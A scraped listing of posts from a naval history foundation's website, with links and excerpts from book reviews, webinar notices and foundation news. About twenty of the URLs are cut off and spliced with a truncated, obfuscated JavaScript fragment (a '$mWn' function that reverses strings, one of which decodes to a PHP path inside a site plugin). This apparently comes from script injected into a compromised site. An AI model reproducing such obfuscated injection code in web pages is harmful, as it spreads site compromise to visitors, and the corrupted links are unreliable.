- [The Loss of the USS Thresher: What We Now Know – SECOND SATURDAY WEBINAR](https://navyhistory.org/2021/03/the-loss-of-the-uss-thresher-what-we-now-know-second-saturday-webinar/) - Nearly 58 years ago the nuclear-powered submarine Thresher submerged east of Cape Cod never to surface. In recent months the Navy has released hundreds of pages from the Navy Court of Inquiry hearings held subsequent to the tragic loss of Thresher and her crew. Join us for our March Second Saturday with retired Captain James
- [The CIA War in Kurdistan: The Untold Story of the Northern Front in the Iraq War](https://navyhistory.org/2021/04/the-cia-war-in-kurdistan-the-un<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/ste/) - Reviewed by Lt Col Matthew Thrift, USAF In The CIA War in Kurdistan, Sam Faddis provides his first-hand account as the head of a CIA team embedded in Kurdistan leading up to the U. S. invasion of Iraq in 2003. Mr. Faddis shares his experience as the CIA team leader tasked with working with the
- [Narvik: The Struggle of Battle Group Dietl in the Spring of 1940](https://navyhistory.org/2021/04/narvik-the-struggle-of-battle-group-dietl-in-the-spring-of-1940/) - Reviewed by Tyler Robinson Translator Janice W. Ancker has made Alex Buchner’s 1958 treatise on the 1940 conflict over the Norwegian city of Narvik available in English for the first time as part of the “Die Wehrmacht Im Kampf” book series from the Center for Historical Analysis and Conflict Research (CHACR), the British Army’s own
- [The Lost Soldier: The Ordeal of a World War II G.I. from the Home Front to the Hürtgen Forest](https://navyhistory.org/2021/04/the-lost-soldier-the-ordeal-of-a-world-war-ii-g-i-from-the-home-front-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];/) - Reviewed by Dr. Anthony Feagin, U.S. Army (Ret.) From September 1944 until February 1945, the Hürtgen Forest became one of the bloodiest battlegrounds for U.S. troops during World War II (WWII). At varying times, six different U.S. Army divisions, more than 100,000 men, would fight over 80,000 Germans in the Hürtgen’s rugged terrain, which was
- [Naval Warfare in the English Channel 1939-1945](https://navyhistory.org/2021/04/naval-warfare-in-the-english-channel-1939-1945/) - Reviewed by Charles C. Kolb, PhD Peter Charles Horstead Smith is Professor of Health Policy at the Imperial College Business School and, since 1982, resides in the small Bedfordshire village of Riseley. He was both a book and a magazine editor but has been a full-time historian and author since 1968. Specializing in maritime and
- [The British Carrier Strike Fleet After 1945](https://navyhistory.org/2021/03/the-british-carrier-strike-fleet-after-1945/) - Reviewed by Charles H. Bogart Do not confuse this book with the author’s British Aircraft Carriers: Design, Development & Service Histories. This book concerns itself with the policy decisions that charted the Royal Navy’s carrier strike force decline from being the second largest in the world to non-existent. It is the story of a service
- [Leyte 1944: The Soldiers' Battle](https://navyhistory.org/2021/03/leyte-1944-the-soldiers-battle/) - Reviewed by Dr. Richard H. Gribling Leyte 1944: The Soldiers' Battle was written by Nathan N. Prefer, a military historian with graduate degrees in military history. His prior books include The Battle for Tinian: Vital Stepping Stone in America’s War Against Japan, Eisenhower’s Thorn on the Rhine: The Battles for the Colmar Pocket, 1944-45 and
- [Large Scale Warship Models: From Kits to Scratch Building](https://navyhistory.org/2021/03/large-scale-warship-models-from-kits-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssa/) - Reviewed by Jeff Schultz Kerry Jang’s Large Scale Warship Models: From Kits to Scratch Building fills an important gap in the literature meant for the ship modeling enthusiast, whether novice or intermediate. This short but lavishly illustrated book provides valuable instruction on how to conceptualize, construct, paint and finish large-scale ship models for display and
- [British Naval Weapons of World War Two: The John Lambert Collection - Volume I: Destroyer Weapons](https://navyhistory.org/2021/03/british-naval-weapons-of-world-war-two-the-john-lambert-collection-volume-i-destroyer-weapons/) - Reviewed by Charles H. Bogart This book consists of two sections, a 52-page introduction written by Norman Friedman and 173 pages of line drawings executed by the late John Lambert. These line drawings show both the profiles of World War II Royal Navy destroyers and the weapon systems they carried. With the death of John
- [All of Which I Saw: With The US Marine Corps in Iraq](https://navyhistory.org/2021/03/all-of-which-i-saw-with-the-us-marine-corps-in-iraq/) - Reviewed by Major Chris Ketcherside, USMC (Ret.) Lucian Read is a photojournalist who was embedded with the 11th Marine Expeditionary Unit during the fighting for An Najaf and then later with 3rd Bn, 1st Marines during the assault on Fallujah. All of Which I Saw is a selection of photographs and journal entries he made during
- [The Great Nightfall: How We Win the New Cold War](https://navyhistory.org/2021/03/the-great-nightfall-how-we-win-the-new-cold-war/) - Reviewed by RADM Edward Masso, USN (Ret.) Ambassador J William Middendorf II has written a clarion call to attention for all policy makers in his recently published book, “The Great Nightfall” How We Win the New Cold War. Drawing from his substantial career in public service where he served as a Naval Officer in World
- [Pearl: The 7th of December 1941](https://navyhistory.org/2021/02/pearl-the-7th-of-december-1941/) - Reviewed by Charles C. Kolb, Ph.D. The Japanese attack on Pearl Harbor is one of the most written about military events in the history of the United States. For example, WorldCat lists 11,700 items in various formats, among these, as of February 2021, are 8,821 books and e-books, 2,604,articles and book chapters, and 1,759 videos
- [Encyclopedia of Armed Forces Football:  The Complete History of the Glory Years](https://navyhistory.org/2021/02/encyclopedia-of-armed-forces-football-the-complete-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'/) - Reviewed by LCDR Brian Hayes, USNR In 2017, New York Times sports reporter Victor Mather wrote an article entitled “The Best College Football Team You’ve Probably Never Heard Of.” He was referring to Iowa Pre-Flight, one of dozens of armed forces football programs that competed against collegiate teams (and each other) during the world wars and
- [Touring the Antebellum South with an English Opera Company: Anton Reiff’s Riverboat Travel Journal](https://navyhistory.org/2021/02/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/) - Reviewed by Charles H. Bogart Anyone who has studied the United States’ Antebellum period has, during the course of one’s reading, encountered snippets or lengthy excerpts from the Diary of Anton Reiff. Until now, if you wanted to read Reiff’s complete diary, you had to travel to Baton Rouge, Louisiana, and make arrangements to visit
- [Rome Rules the Waves: A Naval Staff Appreciation of Ancient Rome's Maritime Strategy 300 BCE - 500 CE](https://navyhistory.org/2021/02/rome-rules-the-waves-a-naval-staff-appreciation-of-ancient-romes-maritime-strategy-300-bce-500-ce/) - Reviewed by Tyler Robinson In the decades since he worked as a consultant at the Historical Evaluation Research Organization under the esteemed military historian and theorist Colonel Trevor Dupuy (author of The Encyclopedia of Military History), James Bloom has contributed hundreds of shorter works to journals, encyclopedias, and books focused on ancient, maritime, and military
- [Hitler’s Attack U-Boats: The Kreigsmarine’s WW II Submarine Strike Force](https://navyhistory.org/2021/02/hitlers-attack-u-boats-the-kreigsmarines-ww-ii-submarine-strike-force/) - Reviewed by Charles C. Kolb, Ph.D. During World War II, Hamburg, Germany’s second largest city – an industrial center with oil refineries, extensive shipyards, and U-boat pens -- endured 115 British Royal Air Force strategic bombing raids (1939-1945), one of which in July 1943, code named Operation Gomorrah, created a huge firestorm killing an estimated
- [Dr. J. Phillip London Leadership Fund](https://navyhistory.org/2021/01/dr-j-phillip-lon<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-st/) - Celebrate Jack’s legacy with a Gift to USNA Superintendent's Annual Leadership and Vision Award competition: Voices of Maritime History Last week it was with deep sadness that the Naval Historical Foundation shared the tragic news that Dr. J. Phillip London, a dear friend, shipmate, and director for over a decade, had passed away on 18
- [Thetis Down: The Slow Death of A Submarine](https://navyhistory.org/2021/01/thetis-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - Reviewed by Ingo Heidbrink Maritime disasters are regularly topics catching the attention of maritime interested readers, authors, the media, historians and so on. The loss of HMS Thetis in 1939 was no exception to this rule. It had substantial coverage by the media in the immediate aftermath of the tragic event as well as a
- [Remembering Dr. J Phillip "Jack" London](https://navyhistory.org/2021/01/remembering-dr-j-phillip-jack-lon<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/s/) - 2019 Lone Sailor Awards Dr. J. Phillip (Jack) London - By the United States Navy MemorialIn the video above, the US Navy Memorial honors the life of Dr. London and recognized him as the recipient of the prestigious Lone Sailor Award. As made clear by his many accomplishments, Dr. London lived 'ever vigilant,' just as
- [A Marine Artist's Portfolio: The Nautical Paintings of Susanne Fournais.](https://navyhistory.org/2021/01/a-marine-artists-portfolio-the-nautical-paintings-of-susanne-fournais/) - Reviewed by Ingo Heidbrink. While marine painting was a fairly common artistic genre up to the 19th and early 20th century, ships of the second half of the 20th and the early decades of the 21st century only rarely caught the attention of professional artists, and the profession of the marine painter needs to be
- [Warship Builders: An Industrial History of U.S. Naval Shipbuilding, 1922-1945](https://navyhistory.org/2021/01/warship-builders-an-industrial-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Reviewed by Charles C. Kolb, Ph.D. There has been a deluge of new books and recent articles focusing on American wartime shipbuilding, 1939-1945, witness Evan Mawdsley’s The War for the Seas: A Maritime History of World War II (New Haven, CT and London: Yale University Press, 2019) and Jamie McGrath ‘s “Peacetime Naval Rearmament, 1933-39:
- [China as a Twenty First Century Naval Power](https://navyhistory.org/2021/01/china-as-a-twenty-first-century-naval-power/) - Reviewed by Admiral Walter F. Doran, USN (Ret.) Rear Admiral Michael McDevitt draws on his thirty-four year Naval career and a decades long involvement with National Security issues within the Department of Defense and with the Center for Naval Analysis to produce a timely and well written book. He chronicles the evolution of the PLA
- [The Naval Historical Foundation  Welcomes Admiral James G. “Jamie” Foggo, USN (Ret.) To its Board of Directors](https://navyhistory.org/2020/12/the-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - At a December 8th meeting of the NHF Board of Directors, the nominating committee submitted recently retired Admiral James Foggo as a candidate for the Board of Directors. The Board voted unanimously to welcome him on board. Per the foundation’s by-laws, Admiral Foggo’s nomination will be affirmed by the membership at the annual meeting of
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- [Pearl Harbor Tactical Studies Series](https://navyhistory.org/2020/12/pearl-harbor-tactical-studies-series/) - Reviewed by Dr. Charles C. Kolb, Ph.D. This innovative series of well-researched, highly-illustrated hardcover volumes provides detailed combat narratives of the 7 December 1941 Japanese attacks on United States military bases in Hawaii which would, within days, lead to American declarations of war against Axis powers and entry into both the Pacific and European Theaters
- [On Her Majesty’s Nuclear Service](https://navyhistory.org/2020/12/on-her-majestys-nuclear-service/) - Reviewed by Rear Admiral William J. Holland, USN (RET). Commodore Thompson’s wonderful memoir opens by describing a major steam leak in a submerged submarine where he was what we call the Engineering Officer of the Watch (EOOW). This is as scary and stressing an event as can happen in a nuclear powered submarine. How he
- [Roosevelt the Revisionist -Young TR takes on the War of 1812](https://navyhistory.org/2020/10/roosevelt-the-revisionist-young-tr-takes-on-the-war-of-1812/) - By Meredith Hindley Article below originally published in 2013 by the National Endowment for the Humanities: https://www.neh.gov/humanities/2013/septemberoctober/feature/roosevelt-the-revisionist Just after two o’clock in the afternoon on September 10, 1813, Master Commandant Oliver Hazard Perry was one of the few men still standing—or even alive—on the USS Lawrence. British cannon balls and grapeshot lobbed across the murky
- [DDG-137 To Be Named USS John F. Lehman](https://navyhistory.org/2020/10/ddg-137-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - The Naval Historical Foundation (NHF) congratulates NHF Board of Directors Member, the Honorable Dr. John F. Lehman, on the announcement that an Arleigh Burke-class Flight III destroyer is to be named in his honor. This special recognition for our 65th Secretary of the Navy was announced on our Navy’s 245th Birthday by Secretary of the Navy Kenneth Braithwaite. This
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- [Marion Frederic Ramirez de Arellano 5 August: 1913 - 15 May 1980](https://navyhistory.org/2020/10/marion-frederic-ramirez-de-arellano-5-august-1913-15-may-1980/) - https://www.history.navy.mil/research/library/research-guides/modern-biographical-files-ndl/modern-bios-r/ramirez-de-arellano-marion.html Marion Frederic Ramirez de Arellano was born in San Juan, Puerto Rico, on 5 August 1913, son of Professor Rafael W. de Arellano and Professor Lucille Kemmerer Ramirez de Arellano of the University of Puerto Rico at Río Piedras. He attended that university for two years prior to his entrance to the US Naval
- [Delbert D. Black More Than Just a Gunner’s Mate - By Jim Leuci, MCPO, USN (Ret.)](https://navyhistory.org/2020/10/delbert-d-black-more-than-just-a-gunners-mate-by-jim-leuci-mcpo-usn-ret/) - Above: Delbert D. Black, an Arleigh Burke-class Flight IIA guided-missile destroyer, named for the service’s first Master Chief Petty Officer of the Navy (MCPON) was commissioned on September 26, 2020. Secretary of the Navy Kenneth Braithwaite observed: “Commissioning a ship after the first Master Chief Petty Officer of the Navy is an honor without equal. The
- [The Cruise of the Bismarck](https://navyhistory.org/2020/09/the-cruise-of-the-bismarck/) - Article by Naval History and Heritage Command: https://www.history.navy.mil/content/history/nhhc/research/library/online-reading-room/title-list-alphabetically/s/sinking-of-the-bismarck/the-cruise-of-the-bismarck.html At noon on May 19, 1941, the German battleship Bismarck lay in Kiel Bay, about to set out on her first and last war cruise. Admiral Gunther Lutjens, who had been decorated with the Knight Insignia of the Iron Cross for his part in the Norwegian campaign, addressed the
- [Richard E. Byrd](https://navyhistory.org/2020/08/richard-e-byrd/) - Richard Evelyn Byrd was born on 25 October 1888 in Winchester, Virginia. He was appointed from that same state to the U.S. Naval Academy at Annapolis, Maryland and graduated in 1912. He was temporarily assigned to USS South Carolina and subsequently served on board USS Kentucky, USS Wyoming, USS Missouri, and the armored cruiser Washington.
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- [The Last British Battleship:  HMS Vanguard, 1946-1960](https://navyhistory.org/2020/11/the-last-british-battleship-hms-vanguard-1946-1960/) - Reviewed by Ed Calouro HMS Vanguard was the final battleship built for the Royal Navy. She represented the last of a long line of historic ships stretching back at least a century to the ironclad HMS Warrior (1860) if not to HMS Victory (commissioned in 1778) and similar ships of the line. It was a
- [From the Sea to C Suite: Lessons Learned from the Bridge to the Corner Office](https://navyhistory.org/2020/11/from-the-sea-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - Reviewed by LTC Trey Guy, USA. From the Sea to C Suite: Lessons Learned from the Bridge to the Corner Office is the first book from Cutler Dawson, a retired Navy Vice Admiral and former Navy Federal Credit Union (NFCU) CEO. His co-author, Taylor Kiland, has authored, co-authored, ghost-written, or edited a number of military
- [The Trafalgar Chronicle: New Series 4, Journal of the 1805 Club](https://navyhistory.org/2020/11/the-trafalgar-chronicle-new-series-4-journal-of-the-1805-club/) - Reviewed by CAPT Ken Hagan, USNR (Ret.) The brilliant audacity of this volume merits the highest praise. In no way is it yet another recounting of blasts, broadsides, and bloodletting. Instead, Peter Hore has assembled a collection of magnetic essays depicting Horatio Nelson as an Irishman and portraying the hardscrabble victories ashore won by the
- [Fleet Air Arm Legends: Supermarine Seafire](https://navyhistory.org/2020/10/fleet-air-arm-legends-supermarine-seafire/) - Reviewed by Jeff Schultz. Matthew Willis’s Supermarine Seafire offers a brief yet discerning look at the Supermarine Seafire in Fleet Air Arm service from 1942-1950. Meant to fulfil a desperate need for a modern fighter aboard the Royal Navy’s carrier decks in the chaotic early days of World War II, the Seafire rose doggedly to
- [Dorwart’s History of the Office of Naval Intelligence, 1865–1945](https://navyhistory.org/2020/10/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/) - Reviewed by William A. Taylor, Ph.D. In Dorwart’s History of the Office of Naval Intelligence, 1865–1945, Jeffery M. Dorwart, professor emeritus of history at Rutgers University, has provided the most complete yet highly concise history of the Office of Naval Intelligence (ONI) available. A consolidation of two of Dorwart’s excellent earlier works, The Office of
- [The Admiral’s Chef: Recipes from a Navy Wife’s World Travels](https://navyhistory.org/2020/09/the-admirals-chef-recipes-from-a-navy-wifes-world-travels/) - Reviewed by LCDR Rebecca Sorell, USN (Ret.) A cookbook is not a typical book to be reviewed for the Naval Historical Foundation, so I was intrigued to see it on the list of available books to review, especially since it had a tie to the U.S. Navy, being written by a Navy wife, Marcia Steidle.
- [1545:  Who Sank the Mary Rose?](https://navyhistory.org/2020/09/1545-who-sank-the-mary-rose/) - Reviewed by Dr. John. R. Satterfield. In the early evening on July 19, 1545, as she turned away from a French fleet gathered in the Solent, the narrow channel between the Isle of Wight and the English mainland harbors of Portsmouth and Southampton, the Mary Rose, one of Henry VIII‘s largest and most powerful warships,
- [Sighted Sub, Sank Same:  The United States Navy’s Air Campaign against the U-Boat](https://navyhistory.org/2020/09/sighted-sub-sank-same-the-united-states-navys-air-campaign-against-the-u-boat/) - Reviewed by LT Brian Hayes, USNR This book tells the story of World War II U.S. naval aviation operations against the German U-Boat arm. It’s an interesting and important story, but other books tell it better. Aircraft were essential to the Allied victory in the Battle of the Atlantic. Unlike modern submarines, early U-Boats operated
- [The Royal Navy in the Napoleonic Age:  Senior Service 1800 - 1815](https://navyhistory.org/2020/09/the-royal-navy-in-the-napoleonic-age-senior-service-1800-1815/) - Reviewed by Dr. John R. Satterfield. Maritime historians divide their discipline into eras, and the Age of Sail is undoubtedly studied most widely. Sailing ships dominated trade and naval warfare for about three centuries, from the Battle of Lepanto in 1571, the last large engagement involving rowed galleys to the Battle of Hampton Roads in
- [British Submarines in Two World Wars](https://navyhistory.org/2020/09/british-submarines-in-two-world-wars/) - Reviewed by Charles C. Kolb, Ph.D. Defense expert Norman Friedman is one of America's most prominent naval analysts, and the author of more than thirty books covering a range of naval subjects, especially American and British vessels (battleships, cruisers, destroyers and frigates, and submarines) from the Victorian era through two World Wars, and the Cold War,
- [The USS Swordfish, The World War II Patrols of the First American Submarine to Sink a Japanese Ship](https://navyhistory.org/2020/08/the-uss-swordfish-the-world-war-ii-patrols-of-the-first-american-submarine-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.lis/) - Reviewed by Commander James G. Zoulias, USN. The tale of USS Swordfish provides a comprehensive look at its operational history within the context of the broader maritime campaign in the Pacific during World War II. Because George J. Billy had an uncle who served aboard USS Swordfish, he wrote this book to document the notable
- [Rules of Engagement](https://navyhistory.org/2020/09/rules-of-engagement/) - Reviewed by Diana L. Ahmad Anyone who has ever worked with a computer, has watched NCIS, or wondered what the flashing blips are on their laptop will enjoy this book. Written by two Annapolis graduates, Rules of Engagement looks at the possibility of an enemy of the United States breaking the military computer codes of
- [The Boys Next Door:  A Marine Returns to Vietnam](https://navyhistory.org/2020/08/the-boys-next-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-steg/) - Reviewed by Diana L. Ahmad In 1968-1969, R. L. Tecklenburg, the author, served as a U.S. Marine in a Combined Action Team (CAP) unit in the rural Phu Loc District. Tecklenburg provided a brief autobiographical look at his year in Vietnam. Since leaving Vietnam, the author searched for meaning in his experiences during the conflict.
- [Back to Basics](https://navyhistory.org/2020/01/back-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - Today, all newly enlisted Sailors are trained at one location - Recruit Training Command, Great Lakes, just outside of Chicago, Illinois. This was not always the case, however, despite the occasional, historically inaccurate reference indicating otherwise. See for example a recent Naval Postgraduate School thesis which begins by stating that "since July 1, 1911, all incoming
- [The Silver Waterfall: A Novel of the Battle of Midway](https://navyhistory.org/2020/08/2-the-silver-waterfall-a-novel-of-the-battle-of-midway/) - Reviewed by David F, Winkler, Ph.D. Since its inception, the Naval Historical Foundation book review program has welcomed historical fiction submissions, recognizing that fictional writers, released from the constraints of demonstrating documented sources, can sometimes convey a better sense of what actually happened to a broader audience. Such is the case with The Silver Waterfall,
- [Catastrophe at Spithead: The Sinking of the Royal George](https://navyhistory.org/2020/08/catastrophe-at-spithead-the-sinking-of-the-royal-george/) - Reviewed by C. Herbert Gilliland. How could a splendid 100-gun ship of the line, quietly anchored while preparing to deploy as flagship of one of Britain’s most admired admirals, suddenly capsize and go down? Yet that happened on August 29, 1782 at Spithead, the great roadstead of the British navy near Portsmouth. In 1782 Great
- [Images of War: United States Navy Submarines 1900-2019](https://navyhistory.org/2020/08/images-of-war-united-states-navy-submarines-1900-2019/) - Reviewed by Jeff Schultz. Michael Green’s United States Navy Submarines 1900-2019 provides a succinct look at the evolution of American submarines from early to modern designs, heavily supported with images, particularly wartime archival sources. It spans designs from the turn of the 20th century across the World Wars, the Cold War and the post-Cold War
- [Target, Hiroshima: Witnesses to the Dawn of the Nuclear Age](https://navyhistory.org/2020/08/target-hiroshima-witnesses-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/) - By Kyle Nappi Sporting a brown jacket and a light checkered dress shirt, the bespectacled grey-haired gentleman shuffled several books and photos while seated in his electric wheelchair. Then sixteen years old, I approached the fellow Buckeye State resident who, at ninety-one years of age, spoke rather succinctly but with the trademark gruff of a
- [The Battle of Leyte Gulf at 75: A Retrospective](https://navyhistory.org/2020/07/the-battle-of-leyte-gulf-at-75-a-retrospective/) - Reviewed by Ed Calouro. LCDR Thomas J. Cutler, USN (Ret.) is perhaps the leading authority on the Battle of Leyte Gulf. He has been reading, analyzing, and writing about this epic encounter for many decades. In 1994, to commemorate the fiftieth anniversary, he authored The Battle of Leyte Gulf, 23-26 October 1944. During his
- [Admiral Gorshkov – The Man Who Challenged U.S. Navy](https://navyhistory.org/2020/05/admiral-gorshkov-the-man-who-challenged-u-s-navy/) - Reviewed by Hans Christian Bjerg Today, probably very few are familiar with the armament and the dominant role of the Navy of the Soviet Union during the Cold War over three decades away. In the period of 1970-90, the Soviet Navy was able to challenge the U.S. Navy on the World’s Oceans. In the
- [Images of War: MacArthur’s Papua New Guinea Offensive 1942-1943](https://navyhistory.org/2020/07/images-of-war-macarthurs-papua-new-guinea-offensive-1942-1943/) - Review By Lynne Marie Marx A kidney specialist and author, Jon Diamond penned Images of War: MacArthur’s Papua New Guinea Offensive 1942-1943, and he has had several military history books published, such as Stilwell and the Chindits, War in the South Pacific, and The Rhine River Valley Crossing. His love of history and collection of
- [From Sun Tzu to Hyperwar - A Strategic Encyclopaedia](https://navyhistory.org/2020/07/from-sun-tzu-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - Reviewed by Chuck Steele, PhD. Lars Wedin, an accomplished author on strategic studies and retired surface warfare officer of the Royal Swedish Navy, has composed a noteworthy encyclopedia of military thought and strategy that, in some regards, might also be considered a series of personal meditations on those subjects. Citing heightening tensions between great powers
- [The Battalion Artist: A Navy Seabee's Sketchbook of War in the South Pacific, 1943–1945](https://navyhistory.org/2020/07/the-battalion-artist-a-navy-seabees-sketchbook-of-war-in-the-south-pacific-1943-1945/) - Reviewed by CAPT Charles "Herb" Gilliland, USN (Ret.) For any artist—perhaps for any human being--life and art are inseparable. That was certainly the case for Natale (“Nat”) Bellantoni. This strikingly attractive book filled with fine watercolors offers his story as a young artist serving in the 78th Naval Construction Battalion in World War II. Two
- [Mommy! Watch Me](https://navyhistory.org/2020/07/mommy-watch-me/) - Reviewed by Captain Lee Duckworth, USN (Ret.) Captain Diane Diekman’s latest book, “Mommy! Watch Me” is the sequel to her 2001 memoir, “Navy Greenshirt: A Leader Made, Not Born.” I reviewed the latter two years ago and expected her latest book to be similar in content to the previous one. However, as the title implies,
- [Divine Wind: Reflections from Two Kamikaze Veterans](https://navyhistory.org/2020/07/divine-wind-reflections-from-two-kamikaze-veterans/) - By Kyle Nappi At first glance, “kamikaze veteran” will undoubtedly read as an oxymoron to most Americans. Best parodied in an episode of Curb Your Enthusiasm, producer/actor Larry David muses how one can be a kamikaze pilot and yet still be alive. My own introduction to this concept is traceable to a handful of biographical
- [Chosin: Heroic Ordeal of the Korean War](https://navyhistory.org/2020/06/chosin-heroic-ordeal-of-the-korean-war/) - Reviewed by LTC Heiva H. Kelley, USA. In Chosin: Heroic Ordeal of the Korean War, Eric Hammel, a meticulous military historian and accomplished writer of over 50 books and 70 articles, revisits the Battle of Chosin based on extensive primary source material collected by the author through hundreds of personal interviews with survivors. This book,
- [Unconditional: The Japanese Surrender in World War II](https://navyhistory.org/2020/06/unconditional-the-japanese-surrender-in-world-war-ii/) - Reviewed by Jeff Schultz. Marc Gallicchio’s Unconditional: The Japanese Surrender in World War II focuses on the late-war period leading up to the September 1945 Japanese surrender. This important monograph digs deeper than most into the complicated chain of events which resulted in the memorable Tokyo Bay ceremony, using American and Japanese archival sources to
- [“A Collision Did Not Occur" - An Early Lesson in Leadership](https://navyhistory.org/2020/06/a-collision-did-not-occur-an-early-lesson-in-leadership/) - By Rear Admiral John W. Bitoff, USN (Ret.) I was deployed aboard the USS Spiegel Grove (LSD 32) the flagship of Amphibious Group 4 during Operation SOLANT AMITY II, April 18 – September 19, 1961, a South Atlantic Amity cruise to Africa and the Indian Ocean. The cruise was initiated by the newly elected President John F.
- [British Town Class Cruisers: Design, Development & Performance; Southampton & Belfast Classes](https://navyhistory.org/2020/06/british-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - Reviewed by Charles Bogart. The ten ships that formed the Town Class of light cruisers were the epitome of Royal Navy all gun cruiser development. Armed with twelve 6-inch guns mounted in four turrets, they participated in every European Theater naval campaign of World War II and two of the class also saw action during
- [2020 Virtual Annual Meeting](https://navyhistory.org/2020/06/2020-virtual-annual-meeting/) - On Saturday, June 13, the Naval Historical Foundation hosted its Annual Meeting. Our agenda included: Remarks from Secretary of the Navy Kenneth J. Braithwaite Battle of Midway author Dr. Craig Symonds’ exclusive talk on “Hollywood and History in the Battle of the Atlantic” and the upcoming feature film “GREYHOUND” Our distinguished Board of Directors Executive
- [Hill Fights: The First Battle of Khe Sanh, 1967](https://navyhistory.org/2020/06/hill-fights-the-first-battle-of-khe-sanh-1967/) - Reviewed by Diana Ahmad, PhD. The legendary siege at Khe Sanh occurred in 1968, but during the spring of 1967, the United States Marines fought in northwestern Quang Tri Province in what became the first stage of the Khe Sanh battles. Rod Andrew, Jr., a history professor at Clemson University and colonel in the Marine
- [CHOW: Creamed Sliced Beef on Toast (S.O.S.)](https://navyhistory.org/2016/04/chow-creamed-sliced-beef-on-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - CHOW is a new blog and video series exploring the history behind U.S. Navy culinary traditions.
- [Thursday Tidings - 6.4.2020](https://navyhistory.org/2020/06/thursday-tidings-6-4-2020/)
- [Operation Chariot: the St Nazaire Raid, 1942](https://navyhistory.org/2020/06/operation-chariot-the-st-nazaire-raid-1942/) - Reviewed by Jeff Schultz Jean-Charles Stasi’s Operation Chariot: the St Nazaire Raid, 1942 explores the audacious World War II British commando raid that disabled the only suitable drydock on the French coast, thereby preventing the German battleship Tirpitz from harassing Allied convoys. In particular, the book provides a concise, well-illustrated overview of the memorable raid
- [Die letzten Wölfe: Veterans of the Kriegsmarine’s U-Boat Force](https://navyhistory.org/2020/04/die-letzten-wolfe-veterans-of-the-kriegsmarines-u-boat-force/) - By: Kyle Nappi For years, blockbuster movies have illuminated the feats of the warring sailors from World War II’s European Theater of Operations: The Enemy Below (1957), Das Boot (1981), and U-571 (2000) to name a few. This year –pending COVID-19 – Tom Hanks will unveil Greyhound, a war epic set during the Battle of
- [Minding the Helm:  An Unlikely Career in the U.S. Coast Guard](https://navyhistory.org/2020/05/minding-the-helm-an-unlikely-career-in-the-u-s-coast-guard/) - Minding the Helm: An Unlikely Career in the U.S. Coast Guard, by Kevin P. Gilheany. University of North Texas Press, 2019. 269 pp. CDR Brian L. Emory, USN (Military Faculty, Joint Forces Staff College) Purchase your copy of Minding the Helm today!
- [Tower of Skulls; A History of the Asia-Pacific War, Vol. 1: May 1937-July 1945](https://navyhistory.org/2020/05/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/) - Reviewed by Robert P. Largess. Once, a much-esteemed young man, then in his all-knowing 20’s, asked me “How can you keep on reading books on WWII? Don’t you already know everything there is to know?” Now, decades later, the perfect answer has appeared in the form of Richard Frank’s immensely learned
